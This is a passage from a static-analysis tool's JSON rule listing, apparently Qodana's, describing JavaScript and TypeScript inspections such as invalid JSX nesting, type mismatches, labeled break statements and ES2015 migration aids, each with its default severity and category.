TypeScript/ES2015 migration aids", "index": 18, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSXDomNesting", "shortDescription": { "text": "Invalid DOM element nesting" }, "fullDescription": { "text": "Detects HTML elements in JSX files which are not nested properly according to the DOM specification. React reports runtime warnings on incorrectly nested elements.", "markdown": "Detects HTML elements in JSX files which are not nested properly according to the DOM specification. React reports runtime warnings on incorrectly nested elements." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSXDomNesting", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/React", "index": 21, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptValidateTypes", "shortDescription": { "text": "Type mismatch" }, "fullDescription": { "text": "Reports a parameter, return value, or assigned expression of incorrect type.", "markdown": "Reports a parameter, return value, or assigned expression of incorrect type." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "TypeScriptValidateTypes", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "BadExpressionStatementJS", "shortDescription": { "text": "Expression statement which is not assignment or call" }, "fullDescription": { "text": "Reports an expression statement that is neither an assignment nor a call. Such statements usually indicate an error.", "markdown": "Reports an expression statement that is neither an assignment nor a call. Such statements usually indicate an error." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "BadExpressionStatementJS", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Validity issues", "index": 23, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ConfusingFloatingPointLiteralJS", "shortDescription": { "text": "Confusing floating point literal" }, "fullDescription": { "text": "Reports any floating point number that does not have a decimal point, or any numbers before the decimal point, or and numbers after the decimal point. Such literals may be confusing, and violate several coding standards.", "markdown": "Reports any floating point number that does not have a decimal point, or any numbers before the decimal point, or and numbers after the decimal point. Such literals may be confusing, and violate several coding standards." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ConfusingFloatingPointLiteralJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "BreakStatementWithLabelJS", "shortDescription": { "text": "'break' statement with label" }, "fullDescription": { "text": "Reports a labeled 'break' statement.", "markdown": "Reports a labeled `break` statement." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "BreakStatementWithLabelJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "index": 11, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ContinueOrBreakFromFinallyBlockJS", "shortDescription": { "text": "'continue' or 'break' inside 'finally' block" }, "fullDescription": { "text": "Reports a 'break' or 'continue' statement inside a 'finally' block. Such statements are very confusing, may hide exceptions, and complicate debugging.", "markdown": "Reports a `break` or `continue` statement inside a `finally` block. Such statements are very confusing, may hide exceptions, and complicate debugging." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ContinueOrBreakFromFinallyBlockJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Try statement issues", "index": 27, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "StatementsPerFunctionJS", "shortDescription": { "text": "Overly long function" }, "fullDescription": { "text": "Reports an overly long function. Function length is calculated by counting up the number of non-empty statements in the function. Functions that are too long are error-prone and difficult to test. Use the field below to specify the maximum acceptable number of statements in a function.", "markdown": "Reports an overly long function. Function length is calculated by counting up the number of non-empty statements in the function. Functions that are too long are error-prone and difficult to test.\n\n\nUse the field below to specify the maximum acceptable number of statements in a function." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "FunctionTooLongJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Function metrics", "index": 29, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "UnnecessaryLocalVariableJS", "shortDescription": { "text": "Redundant local variable" }, "fullDescription": { "text": "Reports an unnecessary local variable that does not make a function more comprehensible: a local variable that is immediately returned a local variable that is immediately assigned to another variable and is not used anymore a local variable that always has the same value as another local variable or parameter. Use the checkbox below to have this inspection ignore variables that are immediately returned or thrown. Some coding styles suggest using such variables for clarity and ease of debugging.", "markdown": "Reports an unnecessary local variable that does not make a function more comprehensible:\n\n* a local variable that is immediately returned\n* a local variable that is immediately assigned to another variable and is not used anymore\n* a local variable that always has the same value as another local variable or parameter.\n\n\nUse the checkbox below to have this inspection ignore variables that are immediately\nreturned or thrown. Some coding styles suggest using such variables for clarity and\nease of debugging." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "UnnecessaryLocalVariableJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Data flow", "index": 16, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSMethodCanBeStatic", "shortDescription": { "text": "Method can be made 'static'" }, "fullDescription": { "text": "Reports a class method that can be safely made 'static'. A method can be 'static' if it does not reference any of its class' non-static methods and non-static fields and is not overridden in a subclass. Use the first checkbox below to inspect only 'private' methods.", "markdown": "Reports a class method that can be safely made `static`. A method can be `static` if it does not reference any of its class' non-static methods and non-static fields and is not overridden in a subclass.\n\n\nUse the first checkbox below to inspect only `private` methods." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSMethodCanBeStatic", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSDeclarationsAtScopeStart", "shortDescription": { "text": "'var' declared not at the beginning of a function" }, "fullDescription": { "text": "Checks that declarations of local variables declared with var are at the top of a function scope. By default, variable declarations are always moved (\"hoisted\") invisibly to the top of their containing scope when the code is executed. Therefore, declaring them at the top of the scope helps represent this behavior in the code.", "markdown": "Checks that declarations of local variables declared with **var** are at the top of a function scope. \n\nBy default, variable declarations are always moved (\"hoisted\") invisibly to the top of their containing scope when the code is executed. Therefore, declaring them at the top of the scope helps represent this behavior in the code." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSDeclarationsAtScopeStart", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Code style issues", "index": 10, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ContinueStatementWithLabelJS", "shortDescription": { "text": "'continue' statement with label" }, "fullDescription": { "text": "Reports a labeled 'continue' statement.", "markdown": "Reports a labeled `continue` statement." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ContinueStatementWithLabelJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "index": 11, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptMissingConfigOption", "shortDescription": { "text": "Missing tsconfig.json option " }, "fullDescription": { "text": "Reports a usage that requires an explicit option in 'tsconfig.json'. For example, to use JSX in '.tsx' files, 'tsconfig.json' must contain '\"jsx\"' property.", "markdown": "Reports a usage that requires an explicit option in `tsconfig.json`. For example, to use JSX in `.tsx` files, `tsconfig.json` must contain `\"jsx\"` property." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "TypeScriptMissingConfigOption", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSObjectNullOrUndefined", "shortDescription": { "text": "Object is 'null' or 'undefined'" }, "fullDescription": { "text": "Reports an error caused by invoking a method, accessing a property, or calling a function on an object that is 'undefined' or 'null'.", "markdown": "Reports an error caused by invoking a method, accessing a property, or calling a function on an object that is `undefined` or `null`." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSObjectNullOrUndefined", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSXUnresolvedComponent", "shortDescription": { "text": "Unresolved JSX component" }, "fullDescription": { "text": "Reports an unresolved reference to a JSX component. Suggests adding a missing import statement if the referenced component is defined in the project or its dependencies or creating a new component with this name. The template for a new component can be modified in Editor | File and Code Templates.", "markdown": "Reports an unresolved reference to a JSX component. Suggests adding a missing import statement if the referenced component is defined in the project or its dependencies or creating a new component with this name.\n\nThe template for a new component can be modified in Editor \\| File and Code Templates." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSXUnresolvedComponent", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6ShorthandObjectProperty", "shortDescription": { "text": "Property can be replaced with shorthand" }, "fullDescription": { "text": "Reports an object property that can be converted to ES6 shorthand style and provides a quick-fix to do it. Example: 'var obj = {foo:foo}' After applying the quick-fix the code looks as follows: 'var obj = {foo}'", "markdown": "Reports an object property that can be converted to ES6 shorthand style and provides a quick-fix to do it.\n\nExample:\n\n\n var obj = {foo:foo}\n\nAfter applying the quick-fix the code looks as follows:\n\n\n var obj = {foo}\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6ShorthandObjectProperty", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "UnnecessaryLabelOnBreakStatementJS", "shortDescription": { "text": "Unnecessary label on 'break' statement" }, "fullDescription": { "text": "Reports a labeled 'break' statement whose labels may be removed without changing the flow of control.", "markdown": "Reports a labeled `break` statement whose labels may be removed without changing the flow of control." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "UnnecessaryLabelOnBreakStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ContinueStatementJS", "shortDescription": { "text": "'continue' statement" }, "fullDescription": { "text": "Reports a 'continue' statement.", "markdown": "Reports a `continue` statement." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ContinueStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "index": 11, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "AssignmentToForLoopParameterJS", "shortDescription": { "text": "Assignment to 'for' loop parameter" }, "fullDescription": { "text": "Reports an assignment to a variable declared as a 'for' loop parameter. Although occasionally intended, this construct can be extremely confusing, and is often a result of an error.", "markdown": "Reports an assignment to a variable declared as a `for` loop parameter. Although occasionally intended, this construct can be extremely confusing, and is often a result of an error." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "AssignmentToForLoopParameterJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Assignment issues", "index": 34, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSPotentiallyInvalidConstructorUsage", "shortDescription": { "text": "Potentially invalid constructor usage" }, "fullDescription": { "text": "Reports a usage of a potentially invalid constructor function, for example: a function that is not a constructor after 'new', using a constructor's prototype or calling a constructor without 'new'. A constructor function is assumed to have an upper case name (optional) or have an explicit JSDoc '@constructor' tag.", "markdown": "Reports a usage of a potentially invalid constructor function, for example: a function that is not a constructor after `new`, using a constructor's prototype or calling a constructor without `new`. A constructor function is assumed to have an upper case name (optional) or have an explicit JSDoc `@constructor` tag." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSPotentiallyInvalidConstructorUsage", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "PointlessArithmeticExpressionJS", "shortDescription": { "text": "Pointless arithmetic expression" }, "fullDescription": { "text": "Reports an arithmetic expression that include adding or subtracting zero, multiplying by zero or one, division by one, and shift by zero. Such expressions may result from not fully completed automated refactoring.", "markdown": "Reports an arithmetic expression that include adding or subtracting zero, multiplying by zero or one, division by one, and shift by zero. Such expressions may result from not fully completed automated refactoring." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "PointlessArithmeticExpressionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NodeCoreCodingAssistance", "shortDescription": { "text": "Unresolved Node.js APIs" }, "fullDescription": { "text": "Suggests configuring coding assistance for Node.js, for example, 'require' and/or core modules ('path', 'http', 'fs', etc.). See https://nodejs.org/api/ for the complete list.", "markdown": "Suggests configuring coding assistance for Node.js, for example, `require` and/or core modules ('path', 'http', 'fs', etc.).\n\n\nSee for the complete list." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "NodeCoreCodingAssistance", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Node.js", "index": 39, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSUndeclaredVariable", "shortDescription": { "text": "Implicitly declared global JavaScript variable" }, "fullDescription": { "text": "Reports an implicit declaration of a global variable. Example: 'var aaa = 1; // good\n bbb = 2; // bad, if bbb is not declared with 'var' somewhere'", "markdown": "Reports an implicit declaration of a global variable.\n\nExample:\n\n\n var aaa = 1; // good\n bbb = 2; // bad, if bbb is not declared with 'var' somewhere\n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSUndeclaredVariable", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "DivideByZeroJS", "shortDescription": { "text": "Division by zero" }, "fullDescription": { "text": "Reports division by zero or a remainder by zero.", "markdown": "Reports division by zero or a remainder by zero." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "DivideByZeroJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSPrimitiveTypeWrapperUsage", "shortDescription": { "text": "Primitive type object wrapper used" }, "fullDescription": { "text": "Reports an improper usage of a wrapper for primitive types or a property of a primitive type being modified, as in the latter case the assigned value will be lost.", "markdown": "Reports an improper usage of a wrapper for primitive types or a property of a primitive type being modified, as in the latter case the assigned value will be lost." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSPrimitiveTypeWrapperUsage", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TypeScriptSmartCast", "shortDescription": { "text": "Narrowed type" }, "fullDescription": { "text": "Reports a usage of a variable where the variable type is narrowed by a type guard. Note that severity level doesn't affect this inspection.", "markdown": "Reports a usage of a variable where the variable type is narrowed by a type guard. Note that severity level doesn't affect this inspection." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "TypeScriptSmartCast", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/TypeScript", "index": 22, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6ConvertIndexedForToForOf", "shortDescription": { "text": "Indexed 'for' is used instead of 'for..of'" }, "fullDescription": { "text": "Reports an indexed 'for' loop used on an array. Suggests replacing it with a 'for..of' loop. 'for..of' loops are introduced in ECMAScript 6 and iterate over 'iterable' objects.", "markdown": "Reports an indexed [for](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for) loop used on an array. Suggests replacing it with a [for..of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of) loop. \n`for..of` loops are introduced in ECMAScript 6 and iterate over `iterable` objects." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6ConvertIndexedForToForOf", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/ES2015 migration aids", "index": 18, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSLastCommaInArrayLiteral", "shortDescription": { "text": "Unneeded last comma in array literal" }, "fullDescription": { "text": "Reports a usage of a trailing comma in an array literal. The warning is reported only when the JavaScript language version is set to ECMAScript 5.1. Although trailing commas in arrays are allowed by the specification, some browsers may throw an error when a trailing comma is used. You can configure formatting options for trailing commas in Code Style | JavaScript or TypeScript | Punctuation.", "markdown": "Reports a usage of a trailing comma in an array literal.\n\nThe warning is reported only when the JavaScript language version is set to ECMAScript 5.1.\n\nAlthough trailing commas in arrays are allowed by the specification, some browsers may throw an error when a trailing comma is used.\n\nYou can configure formatting options for trailing commas in **Code Style** \\| **JavaScript** or **TypeScript** \\| **Punctuation**." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSLastCommaInArrayLiteral", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ConditionalExpressionJS", "shortDescription": { "text": "Conditional expression" }, "fullDescription": { "text": "Reports a ternary conditional expression. Some coding standards prohibit such expressions in favor of explicit 'if' statements.", "markdown": "Reports a ternary conditional expression. Some coding standards prohibit such expressions in favor of explicit `if` statements." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ConditionalExpressionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially undesirable code constructs", "index": 11, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6ConvertVarToLetConst", "shortDescription": { "text": "'var' is used instead of 'let' or 'const'" }, "fullDescription": { "text": "Reports a 'var' declaration that is used instead of 'let' or 'const'. Both 'let' and 'const' are block-scoped and behave more strictly. Suggests replacing all 'var' declarations with 'let' or 'const' declarations, depending on the semantics of a particular value. The declarations may be moved to the top of the function or placed before the first usage of the variable to avoid Reference errors. Select the 'Conservatively convert var with Fix all action' option to prevent any changes in these complex cases when using the 'Fix all' action.", "markdown": "Reports a `var` declaration that is used instead of `let` or `const`. \nBoth `let` and `const` are block-scoped and behave more strictly. \n\nSuggests replacing all `var` declarations with `let` or `const` declarations, depending on the semantics of a particular value. The declarations may be moved to the top of the function or placed before the first usage of the variable to avoid Reference errors. \nSelect the 'Conservatively convert var with Fix all action' option to prevent any changes in these complex cases when using the 'Fix all' action." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6ConvertVarToLetConst", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/ES2015 migration aids", "index": 18, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "PointlessBooleanExpressionJS", "shortDescription": { "text": "Pointless statement or boolean expression" }, "fullDescription": { "text": "Reports a pointless or pointlessly complicated boolean expression or statement. Example: 'let a = !(false && x);\n let b = false || x;' After the quick fix is applied the result looks like: 'let a = true;\n let b = x;'", "markdown": "Reports a pointless or pointlessly complicated boolean expression or statement.\n\nExample:\n\n\n let a = !(false && x);\n let b = false || x;\n\nAfter the quick fix is applied the result looks like:\n\n\n let a = true;\n let b = x;\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "PointlessBooleanExpressionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSReferencingMutableVariableFromClosure", "shortDescription": { "text": "Referencing mutable variable from closure" }, "fullDescription": { "text": "Reports access to outer mutable variables from functions. Example: 'for (var i = 1; i <= 3; i++) {\n setTimeout(function() {\n console.log(i); // bad\n }, 0);\n }'", "markdown": "Reports access to outer mutable variables from functions.\n\nExample:\n\n\n for (var i = 1; i <= 3; i++) {\n setTimeout(function() {\n console.log(i); // bad\n }, 0);\n }\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSReferencingMutableVariableFromClosure", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "DynamicallyGeneratedCodeJS", "shortDescription": { "text": "Execution of dynamically generated code" }, "fullDescription": { "text": "Reports a call of the 'eval()', 'setTimeout()', or 'setInterval()' function or an allocation of a 'Function' object. These functions are used to execute arbitrary strings of JavaScript text, which often dynamically generated. This can be very confusing, and may be a security risk. Ignores the cases when a callback function is provided to these methods statically, without code generation.", "markdown": "Reports a call of the `eval()`, `setTimeout()`, or `setInterval()` function or an allocation of a `Function` object. These functions are used to execute arbitrary strings of JavaScript text, which often dynamically generated. This can be very confusing, and may be a security risk. \n\nIgnores the cases when a callback function is provided to these methods statically, without code generation." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "DynamicallyGeneratedCodeJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NegatedConditionalExpressionJS", "shortDescription": { "text": "Negated conditional expression" }, "fullDescription": { "text": "Reports a conditional expression whose condition is negated. Suggests flipping the order of branches in the conditional expression to increase the clarity of the statement. Example: '!condition ? 2 : 1'", "markdown": "Reports a conditional expression whose condition is negated. Suggests flipping the order of branches in the conditional expression to increase the clarity of the statement. Example: `!condition ? 2 : 1`" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "NegatedConditionalExpressionJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Potentially confusing code constructs", "index": 24, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSUrlImportUsage", "shortDescription": { "text": "URL import is used" }, "fullDescription": { "text": "Checks used URL imports in the JavaScript language. Suggests downloading the module for the specified remote URL. Such association enables the IDE to provide proper code completion and navigation. URLs in import specifiers are supported only for ECMAScript modules in the JavaScript language.", "markdown": "Checks used URL imports in the JavaScript language. Suggests downloading the module for the specified remote URL. Such association enables the IDE to provide proper code completion and navigation. \n\nURLs in import specifiers are supported only for ECMAScript modules in the JavaScript language." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "JSUrlImportUsage", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Imports and dependencies", "index": 42, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "UnnecessaryLabelOnContinueStatementJS", "shortDescription": { "text": "Unnecessary label on 'continue' statement" }, "fullDescription": { "text": "Reports a labeled 'continue' statement whose labels may be removed without changing the flow of control.", "markdown": "Reports a labeled `continue` statement whose labels may be removed without changing the flow of control." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "UnnecessaryLabelOnContinueStatementJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Control flow issues", "index": 1, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ChainedEqualityJS", "shortDescription": { "text": "Chained equality" }, "fullDescription": { "text": "Reports a chained equality comparison (i.e. 'a==b==c'). Such comparisons are confusing.", "markdown": "Reports a chained equality comparison (i.e. `a==b==c`). Such comparisons are confusing." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ChainedEqualityComparisonsJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Code style issues", "index": 10, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "SillyAssignmentJS", "shortDescription": { "text": "Variable is assigned to itself" }, "fullDescription": { "text": "Reports an assignment in the form 'x = x'.", "markdown": "Reports an assignment in the form `x = x`." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "SillyAssignmentJS", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Assignment issues", "index": 34, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSPotentiallyInvalidTargetOfIndexedPropertyAccess", "shortDescription": { "text": "Possibly incorrect target of indexed property access" }, "fullDescription": { "text": "Reports a potentially invalid indexed property access, for example, 'Array[1]'.", "markdown": "Reports a potentially invalid indexed property access, for example, `Array[1]`." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSPotentiallyInvalidTargetOfIndexedPropertyAccess", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/Probable bugs", "index": 13, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JSAccessibilityCheck", "shortDescription": { "text": "Inaccessible @private and @protected members referenced" }, "fullDescription": { "text": "Reports a reference to a JavaScript member that is marked with a '@private' or '@protected' tag but does not comply with visibility rules that these tags imply.", "markdown": "Reports a reference to a JavaScript member that is marked with a `@private` or `@protected` tag but does not comply with visibility rules that these tags imply." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JSAccessibilityCheck", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/General", "index": 9, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ES6ConvertRequireIntoImport", "shortDescription": { "text": "'require()' is used instead of 'import'" }, "fullDescription": { "text": "Reports a 'require()' statement. Suggests converting it to a 'require()' call with an 'import' statement. Enable 'Convert require() inside inner scopes with Fix all action' to convert all 'require()' calls inside the nested functions and statements when using the 'Fix all' action. Please note that converting 'require()' statements inside inner scopes to 'import' statements may cause changes in the semantics of the code. Import statements are static module dependencies and are hoisted, which means that they are moved to the top of the current module. 'require()' calls load modules dynamically. They can be executed conditionally, and their scope is defined by the expression in which they are used. Clear the 'Convert require() inside inner scopes with Fix all action' checkbox to prevent any changes in these complex cases when using the 'Fix all' action.", "markdown": "Reports a `require()` statement. Suggests converting it to a `require()` call with an `import` statement. \n\nEnable 'Convert require() inside inner scopes with Fix all action' to convert all `require()` calls inside the nested functions and statements when using the 'Fix all' action. \n\nPlease note that converting `require()` statements inside inner scopes to `import` statements may cause changes in the semantics of the code. Import statements are static module dependencies and are hoisted, which means that they are moved to the top of the current module. `require()` calls load modules dynamically. They can be executed conditionally, and their scope is defined by the expression in which they are used. \nClear the 'Convert require() inside inner scopes with Fix all action' checkbox to prevent any changes in these complex cases when using the 'Fix all' action." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "ES6ConvertRequireIntoImport", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "JavaScript and TypeScript/ES2015 migration aids", "index": 18, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "FunctionWithMultipleLoopsJS", "shortDescription": { "text": "Function with multiple loops" }, "fullDescription": { "text": "Reports a function with multiple loop statements.", "markdown": "Reports a function with multiple loop statements." }, 